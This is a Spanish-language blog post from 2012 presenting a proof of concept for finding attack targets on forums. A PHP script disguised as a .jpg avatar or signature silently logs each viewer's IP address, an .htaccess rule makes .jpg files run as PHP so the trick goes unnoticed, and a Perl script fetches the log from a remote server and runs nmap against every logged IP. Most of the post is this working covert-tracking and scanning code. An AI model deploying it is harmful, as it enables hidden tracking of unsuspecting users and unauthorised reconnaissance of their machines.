miércoles, 10 de octubre de 2012

Hotlinking: localizando víctimas vulnerables

¡Saludos!


    En alguna hemos hablado por este blog sobre el hotlinking, y su utilización como vector para realizar distintos ataques. De echo, la entrada " Universial Hijacking by <img> (GET Method)" aparece como referencia en la solución del reto de "Elhacker.NET"  (resuelto por Yoya), y también el hotlinking fue clave para explotar la vulnerabilidad de SMF 2.0 descubierta por Seth y por mí (SMF 2.0: Token Hijacking ; SMF 2.0: Privilege Scalation (from Token Hijacking) . Asi que, como es de comprender, le tengo cierto cariño y recurro a ella con mucha frecuencia para sacarme las castañas del fuego.


   El caso es que esta mañana mientras me duchaba para ir a la facultad y tratar de pillar apuntes de Neurobiología, se me ha cruzado una idea... y no he ido a clase. La idea era: ¿cómo alguien con malos propósitos podría conseguir rápidamente localizar individuos vulnerables a un ataque determinado, de la forma menos invasiva posible (y de hecho, a ser posible que sea invisible) y que todos ellos pertenezcan a un mismo entorno?


   Tras descartar distintas ideas, llegué a la que considero que responde a los 3 postulados, y se trata de un concepto tremedamente simple: colocar una "imagen" como avatar, firma o similar, que se encuentre alojada en nuestro servidor, y crear un log con las IPs de los visitantes. El log puede contener gran cantidad de información, llegando incluso con un poco de maña a identificar el username del visitante en caso de que quien esté visualizandolo esté logueado en la web.


   Al tratarse de una imagen, que es habitual en foros  y otros tipos de comunidades, nadie puede darse cuenta de qué es lo que está ocurriendo. En mi caso he diseñado un PoC bastante simple para comprobar si realmente esto es efectivo, asi que únicamente haremos un escaneo rápido con nmap.

  En primer lugar necesitaremos el script PHP que alojaremos en nuestro servidor y que estará compuesto por dos partes: la parte que loguea y la parte que mostrará una imagen cuando sea solicitado. Aqui mi ejemplo:

<?
$handle = fopen("log.txt","a+");
$string = $_SERVER['REMOTE_ADDR'] . "\n";
fwrite($handle,$string);
fclose($handle);
Header( "Content-type: image/jpg");
$imagen_png = file_get_contents('rorschach.jpg');
echo $imagen_png;
?>
 Simplemente coge la IP y la mete en el archivo log.txt, y después muestra la imagen. Si al seleccionar un avatar, firma o similar, colocamos la url a nuestro archivo  ya podría ser visualizado, pero si alguien curioso echase un ojo vería la extensión .PHP, lo cual a algún paranoico podría darle que pensar. Asi que tiraremos de un .htaccess para poder ejecutar aquellos archivos con la extensión .jpg como si se tratase de PHP:

<Files *.jpg>
ForceType application/x-httpd-php
</Files>
    Entonces, al visualizar la imagen nadie podrá sospechar nada:

  

  Ahora un poco de perl para descargar el archivo y realizar un escaneo automático de puertos con nmap a todas las IPs allí presentes:


use LWP::UserAgent;


if ($ARGV[0] eq "-d") { &down; } elsif ($ARGV[0] eq "-s") { &scan; }

sub scan {
open(HANDLER, "<log.txt");
my @lista =<HANDLER>;
foreach $ip (@lista){
chomp($ip);
print "[+] Scanning... $ip\n";
system("nmap $ip >> scan.txt");


}



}


sub down {

my $wlog = "dfadfasd.afadsfas.es/log.txt";

my $browser = LWP::UserAgent->new;
my $descarga = $browser->get($wlog);

if ($descarga->is_success) {
print "[+] Descarga con exito\n";

open(HANDLER, ">>log.txt");

print HANDLER $descarga->decoded_content;
close(HANDLER);


}  else { die "\nERROR DESCARGANDO EL LOG( $descarga->status_line )"; }

}


    Dejamos la imagen por la mañana, por la tarde recogemos los frutos... ;-D


 Y vemos si todo ha funcado como debería:



Byt3z

5 0verl0ad Labs: Hotlinking: localizando víctimas vulnerables ¡Saludos!     En alguna hemos hablado por este blog sobre el hotlinking, y su utilización como vector para realizar distintos ataques. De...
< >